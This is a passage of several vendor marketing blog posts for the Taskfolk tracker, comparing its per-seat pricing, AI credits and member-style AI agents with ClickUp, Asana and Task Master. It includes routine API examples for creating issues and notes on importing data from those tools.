columns](/images/blog/how-to-use-a-kanban-board-overview.webp) The board above is the whole philosophy in one screen. Columns are yours to name, colour, order, and cap with WIP limits, and you drag both cards and the columns themselves. There is one board, done well, instead of fifteen views you feel obliged to configure. When a new hire opens it, there is nothing to explain. That "nothing to explain" is the entire product. ## The honest price and AI-cost comparison (as of July 2026) This is the part you came for. Real numbers, both directions, and the AI line spelled out because that is where the surprise usually lives. Two things before the table. All of this is as of July 2026, and both vendors move prices. And watch the AI row: on ClickUp, AI is a separate product with its own price ladder that sits on top of the plan you already pay for. That is not a knock, just a thing to budget for, and it is easy to miss on a quick pricing-page skim. The condensed head-to-head is at [Taskfolk vs ClickUp](/vs/clickup). | Plan / add-on | ClickUp (as of July 2026) | Taskfolk (as of July 2026) | |---|---|---| | Free | Free Forever: unlimited tasks, unlimited free members, 60 MB total workspace storage | $0: full features, 5 active projects, 128 MB storage, 1 MB per-file, 2 automations, 25 AI credits/mo | | Entry paid | Unlimited: $7/user/mo billed yearly, unlimited storage (monthly price not published) | Pro: $3/builder seat/mo ($30/yr), 1 GB storage, unlimited projects, 20 automations, 5,000 AI credits/mo | | Mid paid | Business: $12/user/mo billed yearly | Business: $6/builder seat/mo ($60/yr), 100 GB storage, unlimited automations, 20,000 AI credits/mo | | Top tier | Enterprise: custom, via sales | (Business is the top self-serve tier) | | Automations | Business 5K/mo, Enterprise 250K/mo | Free 2, Pro 20, Business unlimited | | Viewers | Free members unlimited on Free | Always free, never a seat, every plan | | AI | Separate product. Brain AI $9/user/mo annual ($18 monthly). Everything AI $28/user/mo annual ($68 monthly). Plus AI Super Credits $10 per 10,000, Talk to Text $9/user/mo, AI Notetaker from $12/user/mo | Credit-metered on every plan including Free. Never a per-user add-on | A few things the table cannot say in a cell. The Everything AI tier is the one that matters if you care about agents. On ClickUp, $28/user/mo billed annually ($68 monthly) is the tier that turns on unlimited Autopilot Agents, AI Assign, AI Prioritize, and AI Fields (as of July 2026). Brain AI at $9/user/mo annual is the cheaper AI tier, but it is not the autonomous-agents tier. So an eight-person team that wants agents on ClickUp is looking at roughly $28/user/mo on top of their plan seats, annually, for the AI layer alone. On Taskfolk, AI is credit-metered and lives on every plan, including Free. There is no per-user AI SKU to add. Credits are a monthly grant that scales with the plan (Free 25, Pro 5,000, Business 20,000), drawn from a durable ledger. That is a genuinely different model, and I will get into why it matters for agents further down. For the seat-versus-agent question specifically, [we wrote a whole piece on whether AI agents should count as seats](/blog/do-ai-agents-count-as-seats). On storage, be fair. Taskfolk Free's 128 MB beats ClickUp Free's 60 MB, and that is a real if small win. But do not let anyone tell you Taskfolk wins storage overall, because it does not. ClickUp Unlimited is unlimited storage at $7/user/mo, and Taskfolk Pro caps at 1 GB. If your team lives on file attachments, that gap is decisive in ClickUp's favour, and I would rather you know that now than after you switch. ![Taskfolk's plan grid showing Free, Pro, and Business side by side](/images/blog/how-to-manage-billing-and-plans-plan-grid.webp) ## Where ClickUp still wins (and when to stay) If you have read this far and everything sounded one-directional, here is the correction. There are real jobs where ClickUp is the better buy, and pretending otherwise would make the rest of this post worthless. And if you end up shopping beyond these two tools, the ranked [ClickUp alternatives](/alternatives/clickup) roundup compares the wider field. ClickUp wins on storage. Unlimited at $7/user/mo versus Taskfolk Pro's 1 GB is not close, and for attachment-heavy teams it is the whole decision. ClickUp wins on breadth. Docs, whiteboards, goals, a notetaker, and 15+ views live inside one product. If your team genuinely needs one app for wikis and projects and chat and goals in a single SKU, that consolidation is worth paying for, and Taskfolk simply does not offer it. Taskfolk has docs and chat, but it is not trying to replace your wiki plus your OKR tool plus your whiteboard app. If that is the job, buy ClickUp. And Taskfolk Free has real caps you should see before you get excited. Five active projects. 128 MB storage. 1 MB per-file uploads. Two automations. 25 AI credits a month. On top of that, automations, custom roles, SSO, and audit log are paid-plan features, not on Free at all. The AI is credit-metered rather than unlimited, and the Free grant of 25 credits a month is a taste, not a workload. If you plan to lean on AI heavily, budget for a paid plan or expect to run out. So the plain version: if breadth or unlimited storage is the actual job, ClickUp is the better buy, full stop. What follows is for the teams whose job is something else. ## The real difference: agents are free members, not a $28 tier Here is the honest caveat first, up top, because the internet is full of posts that get this wrong. ClickUp ships an official first-party MCP server, on all plans, at mcp.clickup.com. It is OAuth-only and gives AI assistants access to tasks, docs, search, and time tracking (as of July 2026). So this is not a story about MCP exclusivity. If you read a ClickUp-alternative post claiming the rival has MCP and ClickUp does not, close the tab. The real difference is what an agent *is* and what it costs. In Taskfolk, an agent is a real workspace member. Concretely: a user plus a member record, with a `workspace_agents` profile and its own API key whose `created_by` points back to the agent user. That last detail is the attribution model. When an agent does something, the trail leads to the agent, not to whichever human minted the key. The agent is free and never counts as a billed seat, the same way viewers do not. And it has a live hub: a roster of your agents, their sessions, and an agent map that shows who owns what. ![Taskfolk's agent hub showing a connected agent with its status](/images/blog/how-to-connect-an-ai-agent-hub-connected.webp) On top of that sits a permission model built for machines that act on their own. Each agent has a field policy, `field_policy_json`, which is an allowlist of the issue fields it is allowed to write (null means all fields). It is enforced at a single API write choke point, `updateIssueViaApi`, so the same guardrail covers REST calls, status transitions, and MCP tool calls without a second code path to forget. You can hand an agent the keys to move status and add comments while forbidding it from touching the assignee or the due date, and that rule holds no matter which door the agent came through. ![The per-agent field-policy dialog, an allowlist of writable issue fields](/images/blog/manage-a-team-of-ai-agents-policy-dialog.webp) Now the contrast, stated fairly. ClickUp's autonomous Autopilot Agents sit behind the Everything AI tier at $28/user/mo billed annually, a premium capability you turn on by moving up a paid AI SKU. Taskfolk's framing is different: free, named, accountable members with field-level guardrails. Neither is wrong; they are bets on different futures. If you expect to run one or two agents occasionally, the difference is a rounding error. If you expect a team of agents to be first-class contributors, a per-user premium tier and a free-member model diverge fast. ## What working with an agent actually looks like Abstractions are cheap. Here is the concrete loop. You assign an issue to an agent. That assignment auto-creates a `pending` session (this is the DELEGATE-01 behavior). Agents can leave a pending session but never enter it, which is a deliberate rule: pending means "a human handed this over and nobody has picked it up yet." The agent claims it by calling `startAgentSession`, which moves the session to `running`. If nobody and nothing claims a pending session, the worker cancels it after seven days, so orphaned handoffs clean themselves up instead of lingering. The session state machine is small on purpose: `pending`, then `running`, `needs_input`, `review`, `done`, `failed`, or `cancelled`. Humans get notified when a session enters `needs_input`, `review`, `done`, or `failed`, which are exactly the moments a person needs to look. A `running` session that has not sent a heartbeat in 30 minutes renders as `stalled`, so a wedged agent is visible rather than silently stuck. There is one more guardrail worth calling out, because it is the difference between "an agent said it did the work" and "the agent did the work." Under VERIFY-01, a session that reaches `review` or `done` but has no attributed activity or comment on its issue gets an `unverified` badge at read time. In plain terms: if an agent marks something done but left no fingerprints on the actual issue, the UI flags it. You are never taking the agent's word for it. ![Taskfolk's agent sessions list showing session states](/images/blog/how-to-delegate-work-to-an-agent-sessions-list.webp) The delegation lifecycle, start to finish: ```mermaid flowchart LR A[Assign to agent] --> P[pending] P --> R[running] R --> N[needs_input] R --> V[review] N --> R V --> D[done] ``` Now the code. The first-party MCP server lives at `/api/mcp/v1` and is generated from the same OpenAPI registry as the 180-plus-operation REST API, so MCP coverage equals API coverage: anything the REST API can do, an MCP tool can do. There are one-click config endpoints for Claude, Cursor, and VS Code, so wiring an assistant in is a paste, not a project. If you would rather call the REST API directly, creating an issue and assigning it to an agent is one POST against `POST /v1/workspaces/{slug}/projects/{key}/issues` with an API key. Here is the same call in three languages. ```bash curl -X POST \ "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -d '{ "type": "task", "title": "Triage new signup errors", "description_md": "Check the Sentry spike from this morning.", "assignee": "scout@acme-agents.ai", "priority": "high" }' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues", { method: "POST", headers: { Authorization: "Bearer " + process.env.TASKFOLK_API_KEY, "Content-Type": "application/json", }, body: JSON.stringify({ type: "task", title: "Triage new signup errors", description_md: "Check the Sentry spike from this morning.", assignee: "scout@acme-agents.ai", priority: "high", }), }, ); const issue = await res.json(); ``` ```python import os, requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues", headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, json={ "type": "task", "title": "Triage new signup errors", "description_md": "Check the Sentry spike from this morning.", "assignee": "scout@acme-agents.ai", "priority": "high", }, ) issue = res.json() ``` The response is the created issue. The assignee comes back as a member id in `assignee_id` (and the full ordered set in `assignees`), and because that member is an agent, the `pending` session is already waiting for it to claim: ```json { "id": "0192f3a1-7c4e-7b2a-9f10-2b8c5d6e4a01", "key": "WEB-241", "type": "task", "title": "Triage new signup errors", "status": "todo", "status_name": "To do", "priority": "high", "assignee_id": "0192f3a1-9d2b-7c40-bb51-6a0f2e7c8d34", "assignees": ["0192f3a1-9d2b-7c40-bb51-6a0f2e7c8d34"], "reporter_id": "0192f0aa-1e77-7a02-9c3d-4b5a6c7d8e90", "url": "https://taskfolk.ai/w/acme/p/web/WEB-241" } ``` From here the agent claims the session, works, and hands back at `review` or `done`, with the field policy from the dialog above deciding what it was allowed to touch along the way. ## Moving your ClickUp data across Switching is only real if the data comes with you, so here is how that works, caveats included. Taskfolk's import wizard has a native ClickUp connector. You give it a personal API token plus a list ID, and it paginates `api.clickup.com` v2 at 100 tasks per page. The honest limitation: ClickUp import runs one list at a time by list ID, so a big workspace with many lists is several import runs, not one button. Row counts are plan-capped too. Inline imports handle up to 500 rows; background runs go up to 50,000, bounded by your plan (Free 1,000 per run, Pro 10,000, Business 50,000). If you are on Free and your list has 4,000 tasks, that is a Pro-plan job or a split. ![Taskfolk's import wizard on the source-selection step](/images/blog/how-to-import-your-project-workspace-wizard-source.webp) ClickUp is not the only source. The same wizard imports from Trello, Jira, Monday, Linear, Asana, and plain CSV, so a mixed-tool team can consolidate in one place. There is a fuller walkthrough of the mechanics in [our import guide](/docs/how-to-import-your-project), and if you are coming off several tools at once, [the migration piece covers Jira, Trello, and Asana specifically](/blog/migrate-from-jira-trello-asana-to-taskfolk). One adoption detail that does not show up in a feature grid but matters to some teams. Auth is magic-link only, no passwords: a 15-minute single-use token, and you are in. Before you start, know the trial rules so nothing surprises you. The Pro reverse trial is 14 days, granted once per user, on your first workspace only. Later workspaces start on Free. And one user can own at most three unpaid workspaces, which keeps the Free tier honest without getting in a real team's way. None of that is buried in fine print, and now you have read it. If your team's actual problem is that the tool has become the work, a smaller, opinionated tracker with agents as free members is worth a Tuesday of your time to try. [Start a workspace](/) and import one ClickUp list to see how it feels with your own tickets in it. --- # Asana alternatives that cost less and speak agent URL: https://taskfolk.ai/blog/asana-alternatives-for-modern-teams Published: 2026-07-16 Updated: 2026-07-28 Author: The Taskfolk team Tags: alternatives, project management, pricing, AI agents, engineering management, MCP, comparison Asana alternatives for growing teams: how Asana's tiered seats round your bill up, and how $3 per-editor pricing with free viewers and agents changes it. The moment usually arrives with an invoice. A team grows from six to eight people, someone adds two more editors the next quarter, and the Asana line item stops looking like it tracks headcount. If you are searching for **Asana alternatives**, there is a decent chance you are not unhappy with the product. You are looking at what it costs as the team grows, and you have noticed the bill moves in steps that do not match how many people you actually added. Here is the mechanic that catches people. Asana sells seats in increments, not per exact person. Between 2 and 5 users you add seats one at a time, up to 30 users you add them in blocks of 5, and up to 100 you add them in blocks of 10 (per Asana's own pricing FAQ, as of July 2026). So a 7-person team pays for 10 seats. A 12-person team pays for 15. On top of that you are paying $10.99 per user per month on Starter or $24.99 on Advanced (billed annually, as of July 2026). None of that is a trick. It is just how the plan is packaged, and it means your bill rounds up. This is a re-evaluation post for someone who likes Asana and wants to know what the growing-team math looks like next to a cheaper option. The second thing pulling people toward that look is where the AI lives. Asana's AI sits in a chat sidebar, and its AI Teammates are a sales-led paid add-on. The alternative weighed here, Taskfolk, bills $3 per builder seat with viewers and agents free, and puts agents in as real members rather than a metered assistant. Both facts matter, and both get the honest treatment below. ## What actually gets expensive on Asana as you grow The trigger for most of these searches is not a feature gap. It is cost scaling faster than headcount. Start with the seat mechanic, because it is the part people miss until they see the renewal. Asana's pricing FAQ spells it out: between 2 and 5 total users you add seats in increments of 1, up to 30 total users in increments of 5, and up to 100 total users in increments of 10 (as of July 2026). Worked out with real numbers: - A **7-person** team cannot buy 7 seats. The next valid tier above 5 is 10, so you pay for 10. - A **12-person** team lands between the 10 and 15 marks, so you pay for 15. - Cross into the 30-to-100 band and you buy in tens, so 31 people is a 40-seat bill. Now layer the per-seat price on top. Starter is $10.99 per user per month billed annually, or $13.49 billed monthly. Advanced is $24.99 per user per month billed annually, or $30.49 monthly (all as of July 2026). So that 7-person team on Starter is really paying for 10 seats at $10.99, and the three empty seats are just gone. The free tier changed too. Asana's free Personal plan is now capped at up to 2 users for new accounts (as of July 2026). Accounts created before November 12, 2025 keep a Legacy Personal Plan with up to 10 seats (this last point comes from third-party reporting, not Asana's official pricing page, so treat it as corroboration rather than a guarantee). If you started on Asana's generous old free tier and remember it fitting a small team, a new workspace will not behave the same way. To be fair about it: this is packaging, not a bait and switch. Plenty of tools bundle seats. But when you are the one adding people one and two at a time, the rounding is exactly the thing that makes the bill feel disconnected from the team. That is the number the rest of this post weighs alternatives against. ## What to look for in an Asana alternative when the team is growing Before any tool names get involved, here is what to actually check. These apply to any alternative, not just the one this post happens to compare. 1. **How seats are counted.** Per exact person, or bundled and rounded up? A per-person model with a minimum of one is predictable. A tiered model can be cheaper per seat and still cost more because of the rounding. Read the pricing FAQ, not the headline price. 2. **Whether non-editors are free, and who counts as one.** Almost every tool lets read-only people in cheaply. The real question is whether that free tier covers your internal stakeholders (a manager who just watches, a teammate in another department) or only external guests from outside your company. 3. **How AI is billed.** Three common shapes: baked into the per-seat price, a shared per-account credit pool, or a separate add-on you contact sales for. Each has a very different cost curve as usage grows. 4. **Whether AI agents have their own identity.** If you plan to connect coding agents or automation, does the agent get its own login and its own cost line, or does it act as a human through that person's OAuth session and inherit their access? 5. **The migration path and what it drops.** Every importer loses something. Find out what before you commit, not after. 6. **The depth features you actually use.** Portfolios, goals, workload, timeline, reporting. If you lean on them, a cheaper tool that lacks them is not cheaper, it is a downgrade. Trading a bill for missing capability is a bad trade. One honest note so the criteria are not misleading. Asana Starter and above already include unlimited free guests for external collaborators who do not count against your user total (as of July 2026). So "free collaborators" on its own is table stakes for external people. The distinction worth checking is whether internal non-editors are also free, because that is where the models diverge. ## Asana vs Taskfolk: the honest pricing and feature comparison Here is the side by side. Asana figures are as of July 2026 from its pricing page; Taskfolk figures come from its plan configuration. Read the prose under the table before you draw conclusions, because the table does not tell the whole story. There is also a condensed head-to-head at [Taskfolk vs Asana](/vs/asana) if you want the one-page version. | | Asana Free | Asana Starter | Asana Advanced | Taskfolk Free | Taskfolk Pro | Taskfolk Business | |---|---|---|---|---|---|---| | Price per seat | $0 | $10.99/user/mo (annual) | $24.99/user/mo (annual) | $0 | $3/editor/mo or $30/yr | $6/editor/mo or $60/yr | | How seats count | up to 2 users (new accounts) | tiered, rounds up | tiered, rounds up | no editor cap (capacity-limited) | exactly 1 per editor, min 1 | exactly 1 per editor, min 1 | | Viewers / non-editors | n/a | unlimited free guests (external only) | unlimited free guests (external only) | viewers free for anyone | viewers free for anyone | viewers free for anyone | | AI credits | none | 50K/mo per billing account | 75K/mo per billing account | 25/mo per workspace | 5,000/mo per workspace | 20,000/mo per workspace | | Timeline / Gantt | no | yes | yes | yes | yes | yes | | Reporting dashboards | no | yes | yes | yes | yes | yes | | Forms | no | yes | yes | yes | yes | yes | | Portfolios / goals / workload | no | no | yes | no equivalent | no equivalent | no equivalent | ![Taskfolk plan grid showing Free, Pro and Business tiers with per-seat pricing](/images/blog/how-to-manage-billing-and-plans-plan-grid.webp) A few things the table cannot say on its own. The seat difference is the core of it. On Taskfolk, a 7-person team pays for 7 seats, because seats are billed per individual editor (owner, admin, or member roles) with a minimum of one and no bundling. That same team pays for 10 on Asana. The Taskfolk Pro price is $3 per editor per month, or $30 per year per seat. That is the advertised number straight from the plan config, with no invented discount framing. Viewers are where the internal-versus-external point lands. Asana's unlimited free guests are external collaborators, people outside your email domain. Taskfolk's viewer role is free for anyone, including your own internal staff who only need to watch. If your growing team has a lot of people who read but do not edit, that is a real difference in the math. AI credits are counted differently in a way worth reading twice. Asana's AI Studio Basic credits are per billing account: 50K a month on Starter, 75K on Advanced (as of July 2026). Taskfolk's credits are per workspace: 25 on Free, 5,000 on Pro, 20,000 on Business. Different denominators, so compare against your actual usage rather than the raw numbers. Now the honest part. Taskfolk is the younger, smaller product, and it does not match Asana's depth. There is no equivalent of Asana's portfolios, goals and OKRs, workload and capacity planning, or approvals and proofing at Advanced depth. Storage is small: Free is 128 MB with a 1 MB per-file cap, Pro is 1 GB. If you keep large files inside your tracker, that will pinch. This is a cheaper, lighter tool, not a feature-for-feature Asana clone. If you want the same comparison shaped against Jira instead, [the per-seat breakdown for Jira alternatives](/blog/jira-alternatives-price-per-seat) walks the same ground. ## Where the AI actually lives: chat sidebar vs team member This is the part that gets oversimplified in most comparison posts, so let me be precise and fair. Asana has agents. Do not let anyone tell you otherwise. It ships an official remote MCP server at mcp.asana.com that lets an AI client connect to your Asana account, and it has native AI Teammates, a set of 30 pre-built agents across marketing, ops, and IT (as of July 2026). The contrast is not presence versus absence. It is about identity and packaging. Three specifics, all from Asana's own documentation as of July 2026: - **The MCP server acts as the human.** Asana's MCP server requires authentication with your Asana account over OAuth, and the AI client acts as that authenticated user, inheriting that person's access. There is no separate agent identity; the work shows up under the human whose token was used. Enterprise+ admins can allow or block specific MCP clients. - **AI Teammates are a sales-led add-on.** They are sold as an add-on to Starter, Advanced, Enterprise, and Enterprise+ plans, with a contact-sales motion to get started. They reached general availability for sales-led enterprise customers in early 2026, with self-serve availability still pending as of mid-2026. - **The credits are metered per billing account.** AI Studio Basic credits are 50K on Starter, 75K on Advanced, 200K on Enterprise, all per account. AI Studio Plus is a paid annual add-on at roughly $150 a month for 100,000 credits that reset monthly, with more bought in 100K increments, and AI Studio Pro (5M credits a quarter) is contact-sales. None of that is bad. It is a mature, metered, enterprise-oriented way to sell AI. It is just a costed sidebar model: the AI is a capability you meter and pay for, and when it acts, it acts as one of your people. Taskfolk draws the line in a different place. An agent is a user and a member. It has the `is_agent` flag, its own `workspace_agents` profile, and its own API key whose `created_by` points at the agent user itself. That key is the attribution, so every change the agent makes is recorded under the agent by name, not folded into a human's session. Agents are free and never billed as seats (the code treats connected coding agents as a product surface, not billable humans). The first-party MCP tools derive from the 180-plus-operation v1 public API, and the agent authenticates with its own key. ![Taskfolk agent hub showing connected agents as workspace members](/images/blog/how-to-connect-an-ai-agent-hub-connected.webp) So the fair framing is this: both have agents. The difference is whether the agent is a metered sidebar that borrows a human's identity, or a free named teammate with its own. If you want the deeper version of the seat question specifically, [whether AI agents count as paid seats](/blog/do-ai-agents-count-as-seats) covers it end to end. ## What changes when agents are real members (with the API call) The "agent as member" claim is easy to say and worth making concrete, because it changes day-to-day mechanics. You assign work to an agent through the exact same People and Agents picker you use for a human. That assignment auto-creates a pending delegation session (this is the DELEGATE-01 flow). The agent claims that pending session to start running. If it goes quiet, a stalled state is derived after 30 minutes with no heartbeat, and a worker cancels a session nobody claimed after 7 days. When a session reaches review or done but left no attributed activity or comment on the issue, an unverified badge (VERIFY-01) flags it, so a session that closed without doing visible work does not quietly pass as finished. You can also restrict what an agent is allowed to touch: a per-agent field allowlist (FIELD-POLICY-01) controls which issue fields it may write, enforced at a single API choke point (`updateIssueViaApi`) that covers REST, transitions, and MCP alike. And an automation rule can wake an agent directly with the `notify_agent` action. The main write an agent makes is creating an issue. It calls the v1 API with its own bearer key. Here is that call in three languages. ```bash curl -X POST \ "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -d '{ "type": "task", "title": "Add rate limiting to the public form endpoint", "description_md": "Cap anonymous submissions at 5/min per IP.", "priority": "high", "assignee": "agent-bot@acme.taskfolk.ai" }' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues", { method: "POST", headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}`, "Content-Type": "application/json", }, body: JSON.stringify({ type: "task", title: "Add rate limiting to the public form endpoint", description_md: "Cap anonymous submissions at 5/min per IP.", priority: "high", assignee: "agent-bot@acme.taskfolk.ai", }), }, ); const issue = await res.json(); ``` ```python import os, requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues", headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, json={ "type": "task", "title": "Add rate limiting to the public form endpoint", "description_md": "Cap anonymous submissions at 5/min per IP.", "priority": "high", "assignee": "agent-bot@acme.taskfolk.ai", }, ) issue = res.json() ``` The response comes back as the created issue, attributed to the agent's key: ```json { "id": "018f3a2b-7c41-7e90-9b2a-1d5e6f7a8b90", "key": "WEB-142", "url": "https://taskfolk.ai/w/acme/p/web/WEB-142", "number": 142, "type": "task", "title": "Add rate limiting to the public form endpoint", "description_md": "Cap anonymous submissions at 5/min per IP.", "status": "todo", "status_id": "018f3a2b-1111-7e90-9b2a-000000000001", "status_name": "To do", "priority": "high", "assignee_id": "018f3a2b-agnt-7e90-9b2a-abcdef012345", "assignees": ["018f3a2b-agnt-7e90-9b2a-abcdef012345"], "reporter_id": "018f3a2b-agnt-7e90-9b2a-abcdef012345", "parent_id": null, "epic_id": null, "labels": [], "estimate_minutes": null, "rank": "0|hzzzzz:", "created_at": "2026-07-16T09:14:22.000Z", "updated_at": "2026-07-16T09:14:22.000Z" } ``` Because the key belongs to the agent, `reporter_id` and the assignment both trace back to it. You can watch the delegation sessions move through their states from the agents view. ![Taskfolk agent sessions list showing live delegation session state](/images/blog/how-to-delegate-work-to-an-agent-sessions-list.webp) And you set the field allowlist per agent from the policy dialog, so an agent can be allowed to move status and comment but blocked from, say, reassigning or changing priority. ![Taskfolk per-agent field policy dialog restricting writable issue fields](/images/blog/manage-a-team-of-ai-agents-policy-dialog.webp) If you are comparing on the AI-and-agents axis more broadly, [the roundup of AI project management software](/blog/best-ai-project-management-software) puts this next to other tools. ## Moving your work over: the Asana importer and what it drops If you decide to try it, here is the honest account of what moving over actually gets you, stated up front so nothing surprises you. Taskfolk has a direct Asana importer. You paste a personal access token and a numeric Asana project ID, and it pulls tasks from that one project. What comes across per task: the task name, the notes and description, the due date, the completed status (mapped to done or todo), the assignee's email, and the Asana tags, which map to Taskfolk labels. It paginates 100 tasks per page up to your plan's import-row cap, which is 1,000 rows per run on Free, 10,000 on Pro, and 50,000 on Business. Now the limits, because they are the whole story with any importer: - **One project per run.** You point it at a single project ID each time. - **No comments.** Task discussion does not come across. - **No attachments.** Files stay in Asana. - **No custom fields.** You rebuild those. - **No sections.** The grouping structure is not imported. - **No subtask hierarchy.** Parent-child nesting is flattened. So this is a fast way to get the task list and ownership into Taskfolk, not a full-fidelity clone. That is a fair thing for a young product's importer to be, but you should plan around it. ![Taskfolk import wizard with the Asana source and project-ID step](/images/blog/how-to-import-your-project-workspace-wizard-source.webp) Practical guidance for an actual switch: import project by project rather than expecting one big migration. Expect to rebuild custom fields and any section structure by hand. Keep the Asana workspace read-only during a parallel run so nothing drifts between the two while people get comfortable. The full walkthrough is in [the guide to importing a project](/docs/how-to-import-your-project), and if you are budgeting the move, [managing billing and plans](/docs/how-to-manage-billing-and-plans) covers what you will actually pay once you are in. ## When you should stay on Asana A comparison you can trust has to tell you when not to switch. Here is that section, plainly. Stay on Asana if you rely on **portfolios, goals and OKRs, workload and capacity planning, or approvals and proofing** at Advanced or Enterprise depth. Taskfolk has no equivalent for any of these. If your planning cadence runs on portfolios and goals, moving would cost you more than the seat savings are worth. Stay if a **large third-party integration catalog and a mature ecosystem** matter to how your team works. Taskfolk is young and its integration catalog is much smaller. Stay if you **store large files inside the tracker**. Taskfolk Free is 128 MB and Pro is 1 GB. That is not where you keep design assets or video. Where Taskfolk fits, precisely: a growing, builder-heavy team that wants low per-seat cost, free viewers and free agents, the core PM surface (board, sprints, timeline, reporting, and AI) available on the free tier, and agents as first-class members rather than a metered assistant. If that is your team, the math works in your favor. If you are a large Asana org running on its planning depth, it does not, and you should know that going in. ![Taskfolk people overview showing members with free viewer seats](/images/blog/how-to-invite-team-members-people-overview.webp) ## A quick way to decide If you want a shortcut, route yourself by your actual situation. ```mermaid flowchart TD A[Team growing, re-evaluating the Asana bill] --> B{Need portfolios, goals,
workload, or approvals?} B -->|Yes| C[Asana likely stays] B -->|No| D{Mostly builders, want free
viewers and agents, low per-seat?} D -->|No| C D -->|Yes| E{Want agents as named members,
not a costed sidebar?} E -->|Yes| F[Try Taskfolk] E -->|No| G[Either works, compare on price] ``` The seat arithmetic is the thing to hold onto. Seven people on Asana is a 10-seat bill. The same seven people on Taskfolk is seven seats at $3 each per month (as of July 2026). And because viewers and agents are free on Taskfolk, the two curves keep diverging as you add non-editors and connected agents, which is exactly the direction a growing team moves. That is the whole case in one line. The low-risk way to test it is the 14-day Pro reverse trial, which lands on the first workspace you create and is available once per user. Spin one up, import a single project, connect an agent, and see whether the lighter model fits before you touch your Asana subscription. If you are cross-shopping, [the per-seat comparison against Jira](/blog/jira-alternatives-price-per-seat) is the same analysis pointed at a different incumbent, and the ranked roundup of [Asana alternatives](/alternatives/asana) puts the whole field on one page. If the seat rounding is what sent you looking, start a workspace and run one project through it. That is the fastest way to see whether the numbers actually change for your team. --- # Claude Code task management: a real tracker, not a markdown file URL: https://taskfolk.ai/blog/claude-code-task-management Published: 2026-07-16 Updated: 2026-07-28 Author: The Taskfolk team Tags: Claude Code, MCP, AI agents, task management, issue tracking, AI agent management, developer, workflow Give Claude Code persistent, attributed task management by connecting a real tracker over MCP instead of a markdown file. Honest comparison to Task Master. Your Claude Code session just closed out a feature. It wrote the code, ran the tests, and left a `TODO.md` at the repo root with three items ticked and two half-finished. Tomorrow you open a fresh session, and the agent has no idea any of that happened. The file is there, but nothing is watching it. Nobody got notified. Your teammate who owns the API surface never learned the migration shipped. And when a second Claude Code window opened in the same repo, both processes reached for the same markdown file at once. That is the gap this post is about. **Claude Code task management** works fine for the length of one conversation. A markdown file, the built-in TODO tracking, a scratch buffer, all of it holds together while the context window is warm. The moment the session ends, or a second agent joins, or a human needs to see status without reading your terminal, [the flat file stops being a tracker](/blog/when-a-task-file-stops-scaling) and becomes a note you forgot to send. This is a walk through what breaks, what the popular file-based approach (Task Master) does well, and how giving your agent a real issue tracker over MCP changes the shape of the problem. ## Why a markdown file is not task management for Claude Code A `TODO.md` has no memory across sessions, no notion of who did what, and no way to tell a human "I am blocked" without a person reading the file. Those are not nitpicks. They are the three jobs a tracker actually does. Think about what you lose when the only record of work is a file in the repo: - **No cross-session state.** The agent's understanding of "what is done" lives in the context window. Close the window, and the next session rebuilds that understanding from scratch by re-reading the file (if it reads it at all). - **No attribution.** A markdown checklist cannot say which agent, or which human, moved an item. When you run more than one agent, or an agent plus a team, "who changed this" has no answer. - **No push.** Status sits in a file. For anyone to learn that a task finished or stalled, they have to go look. There is no bell, no email, no event stream. - **Concurrency is a real hazard.** Two processes writing the same file is a lost-write waiting to happen, which is exactly why the mature file-based tools had to add locking (more on that below). None of this means the markdown file is wrong. For a solo agent doing a bounded job inside one session, it is the right amount of tool. The problem is that people keep using it past that boundary, and the boundary is invisible until something is silently dropped. ## The good version of the file approach: Task Master Before pitching an alternative, it is worth being honest about the best-in-class file-based tool, because it is genuinely good and very widely used. [Task Master](https://github.com/eyaltoledano/claude-task-master) (the `claude-task-master` project, around 27.9k GitHub stars as of July 2026) is an AI-powered task management system built for exactly this workflow. You install it globally with `npm install -g task-master-ai`, run `task-master init`, and it drops a `.taskmaster/` directory into your repo. Your requirements go in `.taskmaster/docs/prd.txt`, config in `.taskmaster/config.json`, and every task lives in a single `tasks.json` organized by tags. It ships its own MCP server so Claude Code, Cursor, Windsurf, and VS Code can all drive it, and Claude Code users can skip provider API keys entirely by using the Claude Code CLI provider. It is MIT-licensed (with a Commons Clause, so you can use and modify it freely but not resell it as a service). What Task Master does well is the part that happens *before* the board: it can parse a PRD and expand it into a structured task tree, with dependencies and a `testStrategy` per task. That is a real capability Taskfolk does not have, and if turning a requirements doc into a task graph is your main need, Task Master is the better tool. Full stop. The interesting thing is where its own design tells you the boundary is. A Task Master task's fields are `id`, `title`, `description`, `status`, `dependencies`, `priority`, `details`, `testStrategy`, and `subtasks`. Read that list again: there is no assignee, no attribution field at all. That is not an oversight. It reflects a model where one agent works one `tasks.json`. And the project's own release notes make the concurrency cost explicit: version 0.40.1 shipped a fix described as "race condition when multiple Claude Code windows write to `tasks.json` simultaneously," adding cross-process file locking to prevent data loss. The tool grew tags (since v0.16.2, "Tagged Task Lists" for separate branch or environment contexts inside the same file) and had to grow a lock. Both are the file model straining against the exact three jobs above. So the decision is not "good tool versus bad tool." It is "which model fits the work in front of me." ## Two models, side by side Here is the honest comparison, rival facts stated as of July 2026 and taken only from each project's own docs. | | Task Master (file-based) | Taskfolk (tracker over MCP) | |---|---|---| | Where tasks live | `.taskmaster/tasks.json` in the repo | Database, behind the workspace | | State across sessions | Re-read from the file each session | Persistent; the tracker is the source of truth | | Attribution | No assignee field in the task structure | Agents are real members; every write is attributed | | Multi-agent writes | Cross-process file lock (added v0.40.1) | Server-side; concurrent writes are normal | | Human visibility | Open the file / editor | In-app notifications, email, board views | | Turn a PRD into tasks | Yes, `parse-prd` expands a doc into a task tree | No PRD pipeline (AI assist exists, credit-gated) | | Runs the agent | No (drives it via MCP) | No (Claude Code still runs on your machine) | | Setup | Drop a file, init a directory | Needs a workspace + a scoped API key | | Cost 